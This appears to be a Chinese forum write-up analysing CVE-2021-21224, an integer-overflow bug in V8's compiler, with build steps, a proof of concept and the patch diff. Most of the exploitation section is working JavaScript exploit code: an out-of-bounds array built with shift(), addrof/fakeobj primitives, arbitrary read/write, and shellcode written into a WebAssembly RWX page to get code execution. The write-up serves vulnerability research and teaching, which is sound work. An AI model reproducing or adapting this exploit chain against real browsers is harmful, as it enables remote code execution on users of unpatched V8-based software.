CVE-2021-21224分析笔记
看雪论坛作者ID:0x2l
漏洞,此漏洞发生于Simplified Lowering阶段的RepresentationChanger::GetWord32RepresentationFor函数中,是一个平平无奇的整数溢出。但是和CVE-2020-15965、CVE-2020-16040、CVE-2021-21220相似的是,此漏洞同样可以通过Array.prototype.shift()方法来构造一个长度为-1(0xFFFF_FFFF)的数组,凭借这个强大的越界数组我们可以很轻松的实现RCE。
1
环境搭建
git reset --hard 720176a523544721973a8ceba89e9c7af9405963
gclient sync -D
python tools\dev\v8gen.py x64.debug
python tools\dev\gm.py x64.debug d8
python tools\dev\v8gen.py x64.release
python tools\dev\gm.py x64.release d8
2
漏洞分析
1、poc分析
回归测试里面给出的poc有点长,我稍微精简了一下,不过效果是一样的:
function foo(b) {
let x = -1;
if (b) x = 0xFFFF_FFFF;
return -1 < Math.max(0, x);
}
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
%SystemBreak();
console.log(foo(true));
(1)当参数为true的时候,x的值为0xFFFF_FFFF,Math.max(0, 0xFFFF_FFFF)的返回值是0xFFFF_FFFF,那么返回值-1 < 0xFFFF_FFFF是成立的。
(2)当参数为false的时候,x的值为-1,Math.max(0, -1)的返回值为0,自然-1 < 0也是成立的。
(3)优化后的foo函数居然返回一个false,未曾设想的道路出现了,接下来先在调试器里面跟进一下。Math.max函数看起来有问题,简单跟进了一下这三次调用:
第一次调用MathMax函数:
第二次调用MathMax函数:
优化之后就没有调用MathMax函数了,而是直接进行比较:
2
源码分析
diff --git a/src/compiler/representation-change.cc b/src/compiler/representation-change.cc
index 64b274c..3d937ad 100644
--- a/src/compiler/representation-change.cc
+++ b/src/compiler/representation-change.cc
@@ -949,10 +949,10 @@
return node;
} else if (output_rep == MachineRepresentation::kWord64) {
if (output_type.Is(Type::Signed32()) ||
- output_type.Is(Type::Unsigned32())) {
- op = machine()->TruncateInt64ToInt32();
- } else if (output_type.Is(cache_->kSafeInteger) &&
- use_info.truncation().IsUsedAsWord32()) {
+ (output_type.Is(Type::Unsigned32()) &&
+ use_info.type_check() == TypeCheckKind::kNone) ||
+ (output_type.Is(cache_->kSafeInteger) &&
+ use_info.truncation().IsUsedAsWord32())) {
op = machine()->TruncateInt64ToInt32();
} else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||
use_info.type_check() == TypeCheckKind::kSigned32 ||
在这里下断点看一下:
visit #41: SpeculativeNumberLessThan
change: #41:SpeculativeNumberLessThan(@0 #14:NumberConstant) from kRepTaggedSigned to kRepWord32:no-truncation (but identify zeros)
change: #41:SpeculativeNumberLessThan(@1 #56:Select) from kRepWord64 to kRepWord32:no-truncation (but identify zeros)
因为#72结点的存在,Math.max函数的返回值会被截断为32位;又因为后继结点的类型为有符号数TypeCheckKind::kSignedSmall,所以如果截断后的返回值正好使用了符号位(诸如0xFFFF_FFFF转换为二进制为1111 1111 1111 1111 1111 1111 1111 1111,最高位为1),那么就会发生整数下溢(诸如Math.max(0, 0xFFFF_FFFF)返回值为-1)。
3
漏洞利用
1、从整数溢出到越界读写
len != 0 && len <= 100
len : Range(-a, 0)
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let z = 0 - Math.max(0, x);
return z;
}
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
//%SystemBreak();
console.log(foo(true));
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
let vuln_array = new Array(len);
vuln_array.shift();
%DebugPrint(vuln_array);
%SystemBreak();
return vuln_array;
}
%PrepareFunctionForOptimization(foo);
console.log("[+] run as builtin: " + "vuln_array.length == " + foo(false).length);
%OptimizeFunctionOnNextCall(foo);
console.log("[+] run as builtin: " + "vuln_array.length == " + foo(true).length);
function hex(a) {
return a.toString(16);
}
function foo(flag) {
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
let vuln_array = new Array(len);
vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
//if (flag) %SystemBreak();
return [vuln_array, oob_array];
}
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0xc00c; i++) {foo(false);}
//
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
console.log(" oob_array.length: " + hex(oob_array.length));
}
confusion_to_oob();
2、addrof/fakeobj
function addrof(obj) {
vuln_array[7] = obj;
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
return vuln_array[7];
}
3、任意地址读写
function get_arw() {
console.log("[+] get absolute read/write access......");
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
let point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
%DebugPrint(point_array);
%SystemBreak();
}
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}
// 用来实现类型转换
class Helpers {
constructor() {
this.buf =new ArrayBuffer(16);
this.uint32 = new Uint32Array(this.buf);
this.float64 = new Float64Array(this.buf);
this.big_uint64 = new BigUint64Array(this.buf);
}
// float-->uint
f2i(f)
{
this.float64[0] = f;
return this.big_uint64[0];
}
// uint-->float
i2f(i)
{
this.big_uint64[0] = i;
return this.float64[0];
}
// 64-->32
f2half(val)
{
this.float64[0]= val;
let tmp = Array.from(this.uint32);
return tmp;
}
// 32-->64
half2f(val)
{
this.uint32.set(val);
return this.float64[0];
}
hex(a) {
return "0x" + a.toString(16);
}
gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }
}
function foo(flag) {
// 触发漏洞,使得len==1且Range为(-4294967295, 0)
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
// 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组
let vuln_array = new Array(len);
vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
if (flag) {
%DebugPrint(oob_array);
//%SystemBreak();
}
return [vuln_array, oob_array];
}
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0x10000; i++) {foo(false);}
// gc
helper.gc();
// 修改oob_array的length
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
console.log(" oob_array.length: " + helper.hex(oob_array.length));
}
function addrof(obj) {
vuln_array[7] = obj;
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
return vuln_array[7];
}
function get_arw() {
console.log("[+] get absolute read/write access......");
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
}
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}
function exp() {
helper = new Helpers();
confusion_to_oob();
get_arw();
arb_write(addrof(oob_array), 0xFFFFFFFFFFFFFFFn);
%SystemBreak();
}
exp();
4、任意代码执行
(1)创建一个wasm函数对象,wasm本身只能进行诸如数学运算这样的操作,所以随便创建一个就行。
(2)通过地址泄露原语找到wasm自带的RWX属性页及wasm函数最终会调用的汇编代码(wasmInstance.exports.main -> shared_info -> data -> instance+XX)。
(3)通过任意地址读写原语修改wasm所在内存页,换上我们准备好的shellcode。
(4)调用wasm函数接口,执行shellcode。
具体实现如下:
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_function = wasm_instance.exports.main;
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
let arb_write_buffer = new ArrayBuffer(0x300);
// 用来实现类型转换
class Helpers {
constructor() {
this.buf =new ArrayBuffer(16);
this.uint32 = new Uint32Array(this.buf);
this.float64 = new Float64Array(this.buf);
this.big_uint64 = new BigUint64Array(this.buf);
}
// float-->uint
f2i(f)
{
this.float64[0] = f;
return this.big_uint64[0];
}
// uint-->float
i2f(i)
{
this.big_uint64[0] = i;
return this.float64[0];
}
// 64-->32
f2half(val)
{
this.float64[0]= val;
let tmp = Array.from(this.uint32);
return tmp;
}
// 32-->64
half2f(val)
{
this.uint32.set(val);
return this.float64[0];
}
hex(a) {
return "0x" + a.toString(16);
}
gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }
}
function foo(flag) {
// 触发漏洞,使得len==1且Range为(-4294967295, 0)
let x = -1;
if (flag) x = 0xFFFF_FFFF;
let len = 0 - Math.max(0, x);
// 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组
let vuln_array = new Array(len);
vuln_array.shift();
let oob_array = [1.1, 1.2, 1.3];
if (flag) {
//%DebugPrint(oob_array);
//%SystemBreak();
}
return [vuln_array, oob_array];
}
function confusion_to_oob() {
console.log("[+] convert confusion to oob......");
// 触发JIT
for (let i=0; i<0x10000; i++) {foo(false);}
// gc
helper.gc();
// 修改oob_array的length
[vuln_array, oob_array] = foo(true);
vuln_array[16] = 0xc00c;
console.log(" oob_array.length: " + helper.hex(oob_array.length));
}
function addrof(obj) {
vuln_array[7] = obj;
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}
function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
return vuln_array[7];
}
function get_arw() {
console.log("[+] get absolute read/write access......");
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
}
function arb_read(addr) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
return fake[0];
}
function arb_write(addr, val) {
if (addr %2n == 0) {
addr += 1n;
}
// 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
// -8n是因为elements字段指向的内容会自动+8来跳过map和length
point_array[1] = helper.i2f((2n << 32n) + addr -8n);
fake[0] = helper.i2f(BigInt(val));
}
function get_wasm_rwx() {
console.log("[+] get address of rwx page......");
rwx_page_addr = helper.f2i(arb_read(addrof(wasm_instance) + 0x68n));
//%DebugPrint(wasm_instance);
//%DebugPrint(wasm_function);
console.log(" Address of rwx page: " + helper.hex(rwx_page_addr));
//%SystemBreak();
}
function run_shellcode(addr, shellcode) {
console.log("[+] run shellcode......");
let dataview = new DataView(arb_write_buffer);
let buf_addr = addrof(arb_write_buffer);
let backing_store_addr = buf_addr + 0x14n;
arb_write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
console.log("[+] success!!!");
}
function exp() {
helper = new Helpers();
confusion_to_oob();
get_arw();
get_wasm_rwx();
run_shellcode(rwx_page_addr, shellcode);
wasm_function();
}
exp();
参考文章:
博客:https://www.0x2l.cn/
Modern attacks on the Chrome browser : optimizations and deoptimizations (doar-e.github.io)
Slides/chrome_exploitation-zer0con2021.pdf at main · singularseclab/Slides (github.com)
chrome exploitation解读:CVE-2020-16040漏洞分析与利用
看雪ID:0x2l
https://bbs.pediy.com/user-home-862439.htm
# 往期推荐
2. 基于Mono注入保存Draw & Guess历史房间数据
3. 一个方案:家用路由器D-LINK DIR-81漏洞挖掘实例分析
4. 记一次MEMZ样本分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!